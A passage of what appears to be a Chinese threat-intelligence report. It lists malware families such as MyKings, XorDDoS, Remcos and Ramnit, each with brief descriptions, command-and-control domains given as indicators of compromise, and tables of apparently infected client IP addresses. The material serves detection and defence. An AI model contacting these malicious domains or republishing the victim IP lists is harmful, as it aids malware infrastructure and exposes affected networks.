<p>海莲花的攻击途径为使用木马病毒攻陷、控制政府人员、外包商及行业专家等目标人群的计算机，从中窃取受害者计算机中的机密数据，截获受害计算机与外界传递的情报，甚至操纵该计算机自动发送相关情报。而这一攻击方式有“ 鱼叉攻击 ”和“ 水坑攻击 ”两种。</p>
<p>详细报告参见 <a href="https://zh.wikipedia.org/zh/%E6%B5%B7%E8%8E%B2%E8%8A%B1">https://zh.wikipedia.org/zh/%E6%B5%B7%E8%8E%B2%E8%8A%B1</a></p>
<h5 id="iocs">IOCs</h5>
<pre><code>dominikmagoffin.com
check.homeip.net
cortana.homelinux.com
hk.cnnewspapers.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
7 60.29.208.115
</code></pre>
</br>
<hr>
<h3 id="malware">Malware 类</h3>
<h4 id="malwaremykings">Malware.mykings</h4>
<p>MyKings 是一个由多个子僵尸网络构成的多重僵尸网络，2017 年 4 月底以来，该僵尸网络一直积极地扫描互联网上 1433 及其他多个端口，并在渗透进入受害者主机后传播包括 DDoS、Proxy、RAT、Miner 在内的多种不同用途的恶意代码。</p>
<p>详细报告参见：<a href="__GHOST_URL__/mykings-the-botnet-behind-multiple-active-spreading-botnets/">https://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/</a></p>
<h5 id="iocs">IOCs</h5>
<pre><code>wmi.mykings.top
loop2.haqo.net
loop.haqo.net
p.abbny.com
lpp.beahh.com
o.beahh.com
lplp.beahh.com
js.f4321y.com
oo.beahh.com
pp.abbny.com
loop.abbny.com
down.f4321y.com
down.b591.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
1670 60.28.104.130 NAT
1193 218.68.105.24 NAT
951 60.28.47.90 NAT
726 60.30.186.26 NAT
434 218.69.112.141 NAT
300 221.239.96.146 NAT
100 61.181.103.46 NAT
48 111.160.80.250 NAT
22 221.238.238.234 NAT
16 61.181.70.210 NAT
12 123.151.34.82 NAT
8 117.12.96.213 NAT
8 180.213.6.237 NAT
8 60.28.101.104 NAT
7 111.160.40.106 NAT
6 60.25.251.11 NAT
6 60.29.153.61 NAT
6 60.26.80.98 NAT
6 218.68.5.141 NAT
6 60.30.149.102 NAT
6 111.163.120.92 NAT
4 111.160.230.18 NAT
4 61.181.49.105 NAT
4 60.28.101.103 NAT
4 111.30.26.21 NAT
4 218.69.11.110 NAT
4 60.29.90.230 NAT
4 111.160.166.58 NAT
3 111.163.145.128 NAT
2 61.181.49.102 NAT
2 111.30.31.137
2 111.165.4.199 NAT
2 61.181.60.34 NAT
2 61.181.49.104 NAT
2 218.68.6.50 NAT
2 60.28.101.106 NAT
1 117.11.14.62 NAT
1 60.24.90.130 NAT
1 111.163.45.102 NAT
1 111.160.56.130 NAT
</code></pre>
</br>
<h4 id="malwaredriverlife">Malware.driverlife</h4>
<p>“驱动人生”旗下多款软件携带后门病毒DTStealer，仅半天时间感染了数万台电脑。该病毒进入电脑后，继续通过“永恒之蓝”高危漏洞进行全网传播（特别是政企单位局域网），并回传被感染电脑的IP地址、CPU型号等信息。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>lplp.haqo.net
v.beahh.com
p.awcna.com
p.zer2.com
lpp.ackng.com
p.amxny.com
oo.beahh.com
lpp.zer2.com
down.ackng.com
v.bddp.net
t.awcna.com
lplp.beahh.com
t.zer2.com
pp.abbny.com
lplp.abbny.com
lpp.awcna.com
oom.beahh.com
down.bddp.net
lpp.haqo.net
t.amxny.com
ppm.abbny.com
v.y6h.net
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
1564 221.239.96.146 NAT
1486 218.69.112.141 NAT
1458 60.30.186.26 NAT
1324 60.28.104.130 NAT
956 218.68.105.24 NAT
786 60.28.47.90 NAT
408 61.181.65.154 NAT
326 61.181.103.46 NAT
188 111.160.80.250 NAT
168 111.164.183.26 NAT
156 111.164.175.157 NAT
156 221.238.238.234 NAT
134 111.160.167.194 NAT
78 60.28.101.104 NAT
74 111.160.231.178 NAT
72 111.164.183.91 NAT
61 218.68.5.141 NAT
55 61.181.70.210 NAT
52 60.28.101.103 NAT
50 60.25.251.11 NAT
49 60.28.101.105 NAT
46 218.68.102.37 NAT
42 221.197.55.168 NAT
36 111.160.97.18 NAT
36 60.28.108.201 NAT
24 60.26.80.98 NAT
24 123.150.44.3 NAT
24 125.36.59.125 NAT
20 60.28.41.18 NAT
18 61.181.60.34 NAT
16 111.160.166.58 NAT
16 60.29.153.61 NAT
14 221.196.67.188 NAT
14 60.29.153.45 NAT
12 123.151.34.82 NAT
12 60.28.108.21 NAT
12 123.150.44.11 NAT
10 60.28.101.74 NAT
10 218.68.0.210 NAT
10 111.160.70.46 NAT
8 123.150.44.5 NAT
8 117.12.96.213 NAT
8 180.213.6.237 NAT
8 60.28.101.106 NAT
8 111.165.4.199 NAT
8 61.181.252.146 NAT
8 221.197.66.60 NAT
8 60.29.145.254 NAT
6 61.181.49.105 NAT
6 111.30.78.46 NAT
6 111.160.172.18 NAT
6 111.30.101.238 NAT
6 218.69.11.174 NAT
6 117.9.199.42 NAT
6 111.163.120.92 NAT
4 111.160.212.19 NAT
4 218.69.11.110 NAT
4 111.160.230.18 NAT
4 60.29.90.230 NAT
4 60.29.241.4 NAT;IDC
4 125.35.214.114 NAT
4 111.30.35.142 NAT
4 111.160.40.106 NAT
4 60.30.149.102 NAT
2 111.30.31.137
2 123.150.44.9 NAT
2 218.69.129.94 NAT
2 60.29.241.1 NAT;IDC
2 60.28.101.102 NAT
2 117.9.18.201 NAT
2 61.181.49.102 NAT
2 61.181.49.104 NAT
2 60.27.119.49
2 218.68.6.50 NAT
2 60.29.158.138 NAT
2 123.151.196.187 NAT
2 117.9.121.135 NAT
</code></pre>
</br>
<h4 id="malwaredbnt">Malware.dbnt</h4>
<p>一款用于网吧客户机系统维护的软件，同时也是一个win恶意软件下载器，可以下载各种恶意软件，用于流量劫持等恶意行为。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>wj.center.oldlist.info
ecount.2019cn.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
6 61.181.61.82 NAT
6 60.28.130.170 NAT
6 60.30.67.234 NAT
4 60.28.38.18 NAT
3 60.30.111.99 NAT
3 111.160.91.94 NAT
2 125.37.20.209 NAT
2 117.8.246.134 NAT
2 117.13.157.191 NAT
2 111.164.179.188 NAT
1 60.25.31.73 NAT
1 111.164.20.60 NAT
1 60.26.240.155 NAT
1 111.162.55.162 NAT
1 111.164.175.4 NAT
1 125.37.20.206 NAT
1 61.181.111.18 NAT
1 221.197.54.42 NAT
</code></pre>
</br>
<h4 id="malwareirc">Malware.irc</h4>
<p>基于IRC协议的家族统称，包括Windows和Linux两种平台。基于IRC的典型家族有dstd和tsunami，但并非使用了IRC就一定是恶意的。 irc允许私有扩展，所以上线包会有不同的字段和换行格式，我们这里初步的细分为irc1/2/3.</p>
<h5 id="iocs">IOCs</h5>
<pre><code>n.ezjhyxxbf.ru
n.vbemnggcj.ru
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
4 111.161.200.159 NAT
</code></pre>
</br>
<h4 id="malwareremcos">Malware.remcos</h4>
<p>通过钓鱼邮件传播的远控，可在被感染的系统执行键盘记录，远程截屏，文件管理，命令执行等多个功能。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>maxeuro.ddns.net
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
150 111.163.141.154 NAT
</code></pre>
</br>
<h4 id="malwarexorddos">Malware.xorddos</h4>
<p>该家族针对Linux设备，用于DDoS攻击。因为样本内的配置信息和C2通信均使用了一个自定义的XOR加密算法，故得名XOR.DDOS。该家族支持syn/dns/tcp等flood攻击。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>aaa.xxxatat456.com
p6.2018fly.com
p11.2018fly.com
a381422.f3322.net
www1.gggatat456.com
aaa.gggatat456.com
ppp.xxxatat456.com
aaaaaaaaaa.re67das.com
gh.dsaj2a1.org
k1.2018fly.com
b12.xxxatat456.com
ppp.gggatat456.com
p12.2018fly.com
b12.gggatat456.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
577 60.29.208.112
461 125.39.151.184
452 125.39.71.19
211 124.68.10.20
145 111.160.201.202
144 60.28.54.30 NAT
116 61.181.59.88
2 60.29.141.95
</code></pre>
</br>
<h4 id="malwarenuggetphantom">Malware.NuggetPhantom</h4>
<p>模块化恶意工具集“NuggetPhantom（掘金幽灵）”最早出现于2016年底，其曾在2016年底的“天翼校园客户端蓝屏事件”以及2017年底的“天翼校园客户端挖矿程序事件”中有所行动。攻击者获知用户计算机存在EternalBlue漏洞后，利用该漏洞向用户计算机发送Eternal_Blue_Payload载荷，该载荷及其所释放的各模块皆通过访问下载服务器来获取加密后的各用途模块文件，并在内存中动态解密这些模块代码，执行模块对应的恶意功能。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>new.szyfpga.com
deg.szyfpg.com
buy.szyfpg.com
cpu.szyfpg.com
new.szyfpg.com
deg.szyfpga.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
57 60.29.64.22 NAT
18 60.24.251.190 NAT
15 117.11.121.200 NAT
15 111.162.220.212 NAT
12 111.162.217.67 NAT
8 117.11.144.69 NAT
8 111.162.216.179 NAT
7 60.29.148.146 NAT
5 218.67.167.157 NAT
5 218.68.24.157 NAT
4 117.15.28.197 NAT
3 211.94.237.161 NAT
3 60.24.248.46 NAT
2 117.12.37.38 NAT
1 60.24.34.84 NAT
1 60.27.137.164 NAT
1 111.162.219.177 NAT
1 111.160.119.194 NAT
1 60.27.152.186 NAT
1 218.67.199.206 NAT
1 60.26.234.195 NAT
1 218.67.233.167 NAT
1 218.67.186.15 NAT
1 218.69.42.199 NAT
1 60.27.191.194 NAT
1 218.69.156.136 NAT
</code></pre>
</br>
<h4 id="malware2gun">Malware.2gun</h4>
<p>涉及业务种类繁杂，除了传播双枪木马的恶意驱动程序，还传播游戏私服驱动，还会盗窃 Steam 账号、劫持 QQ 进行恶意推广</p>
<h5 id="iocs">IOCs</h5>
<pre><code>ua.minding99.com
ba.minding99.com
ia.minding99.com
www.0311bj.cn
a.dearqy.cn
white.shougouji.top
cn4.ppzos.com
www.360gege.com
ic.dztworld.com
cn2.ppzos.com
bc.dztworld.com
sogous.sayblurb.com
pc.ppzos.com
cn5.ppzos.com
ba.dztworld.com
sogousss.srcbooks.com
ub.minding99.com
rat2.100geili.com
ib.dztworld.com
white.fjxmxslaw.com
cn1.ppzos.com
ub.dztworld.com
cn3.ppzos.com
bb.dztworld.com
rat3.100geili.com
sogouss.srcbooks.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
44 111.160.156.10 NAT
27 125.36.117.113 NAT
27 218.69.42.199 NAT
24 117.9.55.29 NAT
22 221.197.187.187 NAT
22 61.181.206.154 NAT
20 218.69.64.130 NAT
20 218.68.145.150 NAT
20 221.198.203.162 NAT
20 221.197.55.4 NAT
20 117.11.128.45 NAT
19 60.26.187.29 NAT
18 117.13.15.45 NAT
18 61.181.131.46 NAT
18 117.11.155.93 NAT
18 60.27.30.20 NAT
18 218.69.74.187 NAT
17 218.68.236.120 NAT
17 61.181.92.130 NAT
16 117.15.222.228 NAT
16 218.68.220.53 NAT
16 218.67.233.167 NAT
16 111.162.24.203 NAT
15 125.38.137.213 NAT
15 60.24.144.117 NAT
15 111.163.146.62 NAT
14 60.25.16.227 NAT
14 60.24.189.241 NAT
14 117.13.140.142 NAT
14 218.69.242.43 NAT
14 60.27.207.61 NAT
14 125.38.176.2 NAT
13 218.68.201.81 NAT
13 60.25.27.238 NAT
13 117.14.249.51 NAT
13 111.167.149.205 NAT
13 111.161.191.151 NAT
12 221.198.110.24 NAT
12 125.38.168.10 NAT
12 60.27.205.7 NAT
12 117.13.140.6 NAT
12 221.197.69.44 NAT
12 117.14.103.18 NAT
12 117.13.168.100 NAT
11 111.163.211.201
11 117.15.6.163 NAT
11 111.165.7.69 NAT
11 125.37.218.227 NAT
11 111.165.117.68 NAT
11 125.37.188.224 NAT
11 218.68.24.30 NAT
11 111.161.188.225 NAT
11 60.28.35.130 NAT
11 111.167.39.103 NAT
11 221.198.75.232 NAT
10 117.12.144.200 NAT
10 111.162.215.214 NAT
10 218.67.137.157 NAT
10 111.160.66.38 NAT
10 221.197.207.233 NAT
10 218.69.66.23 NAT
10 117.9.138.237 NAT
10 117.14.225.113 NAT
10 221.198.55.86 NAT
10 60.28.137.114 NAT
10 111.166.240.107 NAT
10 60.30.215.214 NAT
10 60.26.60.73 NAT
9 125.36.168.151 NAT
9 111.166.78.107 NAT
9 211.94.226.80 NAT
9 117.15.204.67 NAT
9 117.9.137.247 NAT
9 125.36.159.143 NAT
9 117.9.92.253 NAT
9 218.67.255.130 NAT
9 60.30.177.62 NAT
9 60.27.30.93 NAT
8 111.161.175.142 NAT
8 221.198.205.55 NAT
8 61.181.237.149 NAT
8 111.162.203.133 NAT
8 117.13.15.171 NAT
8 111.160.132.158 NAT
8 221.196.253.224 NAT
8 111.167.55.23 NAT
8 111.163.194.85 NAT
8 125.37.64.100 NAT
8 60.26.75.38 NAT
8 117.15.213.63 NAT
8 111.167.141.36 NAT
8 111.163.213.221 NAT
8 60.29.148.130 NAT
8 218.68.105.107 NAT
7 111.165.249.178 NAT
7 111.163.87.125 NAT
7 125.36.36.45 NAT
7 221.197.12.168 NAT
7 60.27.136.30 NAT
7 218.68.201.142 NAT
7 218.69.166.164 NAT
7 117.11.15.253 NAT
7 125.36.33.178 NAT
7 218.67.166.249 NAT
7 125.36.118.3 NAT
7 60.27.136.126 NAT
7 60.30.10.178 NAT
7 218.69.242.148 NAT
7 221.197.132.12 NAT
6 60.24.89.15 NAT
6 117.11.233.183 NAT
6 60.27.188.32 NAT
6 60.27.193.191 NAT
6 111.162.223.220 NAT
6 60.29.153.58 NAT
6 60.29.153.52 NAT
6 111.163.151.192 NAT
6 60.29.94.82 NAT
6 218.69.133.140 NAT
6 117.14.58.46 NAT
6 218.69.66.151 NAT
6 221.197.29.129 NAT
6 117.11.108.75 NAT
6 117.12.133.137 NAT
6 60.25.50.209 NAT
6 218.69.78.11 NAT
6 117.11.147.199 NAT
6 218.67.199.206 NAT
6 60.29.128.211 NAT
6 60.27.189.251 NAT
5 218.68.114.85 NAT
5 111.160.253.30 NAT
5 60.26.42.206 NAT
5 61.181.63.46 NAT
5 111.163.154.184 NAT
5 60.27.103.152 NAT
5 221.198.228.243 NAT
5 111.164.10.211 NAT
5 117.13.51.90 NAT
5 117.10.10.40 NAT
5 111.162.216.132 NAT
5 111.164.122.84 NAT
5 60.26.41.154 NAT
5 117.8.100.67 NAT
5 111.163.142.158 NAT
5 218.68.158.47 NAT
5 111.163.146.242 NAT
5 111.163.147.202 NAT
5 60.30.98.210 NAT
5 202.99.106.45 NAT
5 60.29.37.38 NAT
5 60.24.88.26 NAT
5 60.27.88.181 NAT
5 60.27.42.203 NAT
4 218.68.114.88 NAT
4 117.14.201.101 NAT
4 60.25.121.64 NAT
4 117.14.132.138 NAT
4 60.27.43.13 NAT
4 221.197.69.167 NAT
4 218.69.186.4 NAT
4 111.163.73.91 NAT
4 218.69.156.112 NAT
4 221.198.239.23 NAT
4 221.196.51.133 NAT
4 60.25.57.45 NAT
4 60.24.71.118 NAT
4 218.67.255.20 NAT
4 60.27.95.94 NAT
4 117.11.242.161 NAT
4 61.181.5.171 NAT
4 221.198.228.100 NAT
4 111.166.68.224 NAT
4 221.198.27.32 NAT
4 218.68.245.188 NAT
4 221.198.235.137 NAT
4 60.27.189.130 NAT
4 111.161.190.189 NAT
4 221.197.133.108 NAT
4 218.68.233.233 NAT
4 221.197.139.0 NAT
4 60.24.249.103 NAT
4 218.69.74.97 NAT
4 125.37.183.60 NAT
4 125.38.176.178 NAT
4 60.27.188.239 NAT
4 218.68.236.207 NAT
4 111.163.220.92 NAT
4 125.38.62.105 NAT
4 61.181.208.87 NAT
4 218.67.255.132 NAT
4 211.94.242.63 NAT
4 125.37.189.121 NAT
4 117.11.144.138 NAT
4 60.27.136.92 NAT
4 125.38.177.227 NAT
3 218.68.233.60 NAT
3 117.10.62.116 NAT
3 218.69.133.156 NAT
3 60.30.37.92 NAT
3 218.69.74.76 NAT
3 125.38.179.187 NAT
3 218.68.233.4 NAT
3 218.67.164.94 NAT
3 117.13.67.54 NAT
3 60.30.158.118 NAT
3 111.167.10.59 NAT
3 117.11.117.136 NAT
3 221.198.98.75 NAT
3 111.164.38.243 NAT
3 221.196.194.139 NAT
3 117.9.120.72 NAT
3 218.69.164.111 NAT
3 221.198.167.50 NAT
3 221.198.218.193 NAT
3 111.163.156.144 NAT
3 221.197.177.239 NAT
3 221.196.56.129 NAT
3 60.26.94.128 NAT
3 221.198.104.101
3 125.36.52.31 NAT
3 117.9.239.187 NAT
3 117.11.239.145 NAT
3 60.24.91.72 NAT
3 221.198.174.199 NAT
3 218.69.242.4 NAT
3 125.37.183.147 NAT
3 60.27.60.238 NAT
3 218.67.234.37 NAT
3 117.11.121.171 NAT
3 218.68.204.2 NAT
3 117.12.80.93 NAT
3 111.167.205.126 NAT
3 221.198.61.203
3 221.197.222.238 NAT
3 218.68.102.6 NAT
3 60.24.226.134 NAT
3 117.14.249.216 NAT
3 125.37.189.53 NAT
3 60.25.2.192 NAT
3 60.27.174.218 NAT
3 60.27.173.241 NAT
3 117.12.20.146 NAT
3 60.28.48.194 NAT
3 111.163.150.91 NAT
3 117.13.3.30 NAT
2 60.24.91.55 NAT
2 218.68.219.19 NAT
2 125.37.121.172 NAT
2 60.26.79.134 NAT
2 60.30.203.70 NAT
2 117.14.207.142 NAT
2 111.165.120.223 NAT
2 117.10.65.170 NAT
2 111.162.200.171 NAT
2 111.163.77.247 NAT
2 60.27.138.181 NAT
2 117.14.249.26 NAT
2 117.15.222.52 NAT
2 60.27.136.84 NAT
2 60.29.215.153 NAT
2 117.15.190.58 NAT
2 111.163.198.248 NAT
2 60.26.122.202 NAT
2 111.161.221.189 NAT
2 111.162.216.62 NAT
2 111.166.213.251 NAT
2 111.165.116.208
2 111.160.120.54 NAT
2 111.165.30.69 NAT
2 221.196.203.65 NAT
2 218.67.146.57
2 111.166.66.253
2 111.167.79.178
2 111.162.8.186 NAT
2 125.37.183.50 NAT
2 111.161.190.225 NAT
2 117.10.249.226 NAT
2 117.13.104.78 NAT
2 221.197.162.210 NAT
2 60.25.115.96 NAT
2 111.165.214.234 NAT
2 221.196.172.170 NAT
2 117.10.68.185
2 125.37.191.87 NAT
2 60.24.127.98 NAT
2 117.12.16.123 NAT
2 117.14.126.217 NAT
2 111.162.200.108 NAT
2 60.26.95.79 NAT
2 221.198.59.196
2 125.37.167.208 NAT
2 60.27.104.1 NAT
2 218.69.234.247 NAT
2 111.166.117.229 NAT
2 117.10.138.212 NAT
2 60.25.17.106 NAT
2 117.8.71.114 NAT
2 60.25.154.32 NAT
2 117.10.105.154
1 218.68.114.232 NAT
1 218.68.201.255 NAT
1 125.37.29.177 NAT
1 218.67.254.103 NAT
1 61.181.40.58 NAT
1 111.161.235.57 NAT
1 60.24.88.219 NAT
1 218.68.146.254 NAT
1 218.68.102.48 NAT
1 117.9.88.178 NAT
1 60.24.12.95 NAT
1 111.163.208.48 NAT
1 117.14.227.37
1 125.37.189.90 NAT
1 218.67.204.218 NAT
1 125.37.182.15 NAT
1 60.24.12.200 NAT
1 218.69.72.24 NAT
1 117.12.233.224 NAT
1 111.163.16.168 NAT
1 111.163.122.25 NAT
1 221.198.131.25 NAT
1 60.25.39.56 NAT
1 117.13.95.251 NAT
1 221.196.194.116 NAT
1 60.26.158.69 NAT
1 117.14.249.73 NAT
1 111.163.142.187 NAT
1 125.37.190.50 NAT
1 218.68.147.89 NAT
1 221.197.69.49 NAT
1 117.14.107.42 NAT
1 117.15.192.109 NAT
1 117.10.64.131 NAT
1 111.163.151.214 NAT
1 111.165.106.1
1 221.196.51.5 NAT
1 125.36.118.252 NAT
1 117.10.64.187 NAT
1 221.197.54.203 NAT
1 218.68.156.175 NAT
1 60.24.88.200 NAT
1 111.163.146.23 NAT
1 221.197.12.150 NAT
1 125.38.18.28 NAT
1 117.8.85.121 NAT
1 60.25.13.211 NAT
1 111.162.220.193 NAT
</code></pre>
</br>
<h4 id="malwaredarkshell">Malware.darkshell</h4>
<p>darkshell 是面向Window平台的DDoS malware，用于DDoS攻击，支持UDP/TCP/DNS/HTTP 4种攻击方式。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>equant.wang
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
257 125.37.163.193 NAT
35 60.30.158.118 NAT
5 117.131.173.13 NAT
</code></pre>
</br>
<h4 id="malwarenadrac">Malware.nadrac</h4>
<p>一款简单的远控程序，又被称为Farfli, YongLouts。一般主要是充当下载器，包含键盘记录，代理，音视频监听等多个插件。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>dllhost.website
baijinddos.xyz
mdzz2018.msns.cn
sky.hobuff.info
indonesias.website
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
526 60.30.199.26 NAT
509 111.160.156.10 NAT
203 111.163.143.228 NAT
84 60.28.140.93 NAT
54 60.29.124.250 NAT
8 60.28.114.2 NAT
7 60.29.133.19 NAT
4 111.160.110.26 NAT
4 218.69.27.222 NAT
4 125.37.162.202 NAT
3 111.165.217.222 NAT
3 60.28.101.14 NAT
2 125.39.151.188
2 60.29.64.86 NAT
1 60.28.114.30 NAT
</code></pre>
</br>
<h4 id="malwareelknot">Malware.elknot</h4>
<p>一款比较知名的木马，它允许远程攻击者利用受感染计算机发动DDoS攻击。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>fk.appledoesnt.com
ll.8suf.com
baijinddos.xyz
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
452 61.181.59.88
258 60.30.26.124
257 60.29.144.220
203 111.163.143.228 NAT
155 218.68.0.210 NAT
</code></pre>
</br>
<h4 id="malwareloki">Malware.loki</h4>
<p>loki是一款针对windows平台的恶意软件，其主要目的在于窃取受害者的敏感信息，browser,email,ftp,以及诸多付费工具的licence等。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>silverlinehospital.in
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
1 125.37.160.100 NAT
</code></pre>
</br>
<h4 id="malwarebarhera">Malware.barhera</h4>
<p>一款木马后门，用于下载其他的恶意软件。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>p.raidmedia.com.cn
update.bainv.net
l.raidmedia.com.cn
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
3 221.197.133.137 NAT
3 61.181.5.31 NAT
</code></pre>
</br>
<h4 id="malwarezombieboy">Malware.zombieboy</h4>
<p>zombieboy是一款针对windows平台的加密货币挖矿蠕虫。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>cuijiahuq.f3322.net
dns.fq520000.org
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
13 218.69.133.37 NAT
1 125.35.213.157 NAT
</code></pre>
</br>
<h4 id="malwarercshark">Malware.rcshark</h4>
<p>rcshark是一款针对windows平台的后门病毒，其主要功能是窃取用户的敏感信息。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>xiangban1988.3322.org
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
1 60.27.188.109 NAT
</code></pre>
</br>
<h4 id="malwaredorkbot">Malware.Dorkbot</h4>
<p>属于蠕虫病毒，被感染的所有主机都会沦为黑客的肉鸡，不定期对外网主机进行DDoS攻击，同时其还具有极强的隐蔽性，运行之后会把恶意代码注入到合法进程，然后删除自身。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>a.amous1epadsafa42.com
a.ajjjqws1fkxx42.com
a.adoyou1understandme42.com
a.aiphon1egalaxyblack42.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
9 60.30.214.50 NAT
</code></pre>
</br>
<h4 id="malwareramnit">Malware.ramnit</h4>
<p>ramnit是一款针对windows平台的病毒，最初表现为一款感染U盘，FTP服务器文件的蠕虫，传播大量广告软件，随后发展成银行木马，用于窃取用户金融以及其它敏感信息。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>stromoliks.com
jdskfjkfw3232234.com
fkjdeljfeew32233.com
rterybrstutnrsbberve.com
fget-career.com
fdwelklwe3093443.com
supnewdmn.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
256 61.181.30.138 NAT
112 60.28.141.50 NAT
79 125.36.152.117 NAT
34 61.181.108.2 NAT
32 60.28.156.216
30 117.131.173.16 NAT
30 221.197.12.90 NAT
27 60.29.37.38 NAT
25 117.15.99.67 NAT
25 111.160.91.94 NAT
20 111.30.30.18 NAT
19 111.160.100.230 NAT
19 111.165.24.101 NAT
16 61.181.252.146 NAT
16 111.164.20.30 NAT
15 60.30.4.11
14 221.239.93.251
13 60.29.22.98 NAT
12 60.25.11.13 NAT
12 218.69.90.46 NAT
11 111.160.156.10 NAT
11 111.160.132.158 NAT
10 60.30.199.26 NAT
10 60.29.89.34 NAT
10 218.68.224.88 NAT
9 218.68.158.40 NAT
9 60.30.164.26 NAT
8 60.26.101.13 NAT
8 218.68.233.132 NAT
8 221.197.139.99 NAT
8 221.197.122.193 NAT
7 221.196.108.115 NAT
7 61.181.143.34 NAT
7 117.9.93.13 NAT
7 60.25.148.35 NAT
7 180.213.5.10 NAT
7 117.11.218.223 NAT
6 60.27.31.62 NAT
6 218.69.129.222 NAT
6 111.162.212.244 NAT
6 218.68.234.159 NAT
6 218.68.234.64 NAT
6 111.160.233.182 NAT
6 125.38.176.178 NAT
6 117.11.153.212 NAT
6 221.196.180.62 NAT
6 221.198.66.44 NAT
6 60.26.225.158 NAT
5 221.198.170.164 NAT
5 111.163.158.181 NAT
5 125.36.153.16 NAT
5 117.10.62.226 NAT
5 117.12.202.189 NAT
5 218.69.226.106 NAT
5 117.13.115.123 NAT
5 61.181.74.42 NAT
5 60.29.133.19 NAT
5 218.69.55.166 NAT
5 218.69.54.167 NAT
5 211.94.243.185 NAT
5 60.30.208.226 NAT
5 117.9.18.2 NAT
5 106.47.29.70 NAT
5 125.37.29.120 NAT
5 111.162.149.78 NAT
5 218.68.0.6 NAT
4 111.161.158.131 NAT
4 211.94.254.85 NAT
4 218.69.6.74 NAT
4 221.198.86.145 NAT
4 111.160.120.54 NAT
4 60.24.90.226 NAT
4 60.29.93.221 NAT
4 111.163.143.228 NAT
4 111.163.123.7 NAT
4 221.198.238.209 NAT
4 60.24.184.70 NAT
4 60.27.31.0 NAT
4 117.15.125.181 NAT
4 61.181.140.42 NAT
4 117.12.37.223 NAT
4 218.67.234.60 NAT
4 125.38.176.229 NAT
4 125.37.29.23 NAT
4 61.181.103.138 NAT
4 117.11.10.12 NAT
4 60.24.233.164 NAT
4 60.28.104.130 NAT
4 218.68.105.7 NAT
4 111.166.237.230 NAT
4 221.196.46.61 NAT
4 117.14.119.35 NAT
4 60.26.203.160 NAT
4 117.9.237.225 NAT
4 218.68.200.243 NAT
4 218.68.229.81 NAT
4 218.68.219.29 NAT
3 221.198.67.88 NAT
3 117.10.236.245 NAT
3 117.15.192.231 NAT
3 60.24.45.218 NAT
3 117.12.146.72 NAT
3 60.29.43.46 NAT
3 117.9.191.22 NAT
3 111.163.144.224 NAT
3 125.37.182.99 NAT
3 117.10.138.46 NAT
3 211.94.243.121 NAT
3 111.161.150.34 NAT
3 61.181.219.120 NAT
3 60.27.60.159 NAT
3 111.162.163.231 NAT
3 111.166.238.248 NAT
3 117.12.1.165 NAT
3 117.13.168.162 NAT
3 202.99.106.47 NAT
3 221.197.179.98 NAT
3 211.94.226.74 NAT
3 60.28.101.104 NAT
3 111.165.188.122 NAT
3 60.29.154.226 NAT
3 60.29.15.2 NAT
3 111.165.105.247 NAT
3 60.26.239.60 NAT
3 43.249.136.20 NAT
3 61.181.202.5
3 60.26.142.193 NAT
3 117.13.106.191 NAT
3 60.29.63.18 NAT
3 60.29.16.94 NAT
3 218.69.52.252 NAT
3 117.14.66.156 NAT
3 221.196.97.11 NAT
3 218.67.181.124 NAT
3 111.160.80.3 NAT
3 117.13.140.5 NAT
3 111.165.11.60 NAT
3 60.25.251.11 NAT
2 111.160.97.18 NAT
2 218.68.102.58 NAT
2 125.37.217.118 NAT
2 125.37.191.155 NAT
2 221.196.97.36 NAT
2 221.196.194.253 NAT
2 218.68.224.39 NAT
2 218.68.102.247 NAT
2 111.160.198.83 NAT
2 60.27.189.44 NAT
2 117.12.133.191 NAT
2 60.30.156.190 NAT
2 211.94.248.28 NAT
2 221.198.60.201 NAT
2 60.26.132.173 NAT
2 117.15.22.130 NAT
2 218.69.55.247 NAT
2 117.9.70.23 NAT
2 111.162.216.127 NAT
2 61.181.63.138 NAT
2 60.24.127.98 NAT
2 125.36.101.224 NAT
2 117.12.125.160 NAT
2 111.165.56.53 NAT
2 111.165.128.30 NAT
2 125.37.212.67 NAT
2 218.68.107.108 NAT
2 111.167.149.238 NAT
2 221.197.154.147 NAT
2 117.13.244.21 NAT
2 125.35.249.1 NAT
2 218.69.11.58 NAT
2 117.10.28.225 NAT
2 221.197.133.137 NAT
2 111.167.46.70 NAT
2 60.29.179.114 NAT
2 221.196.180.242 NAT
2 60.30.105.33 NAT
2 60.27.138.17 NAT
1 218.67.254.17 NAT
1 117.11.225.137 NAT
1 111.163.143.193 NAT
1 60.24.89.15 NAT
1 218.69.55.60 NAT
1 60.30.215.242 NAT
1 111.163.140.152 NAT
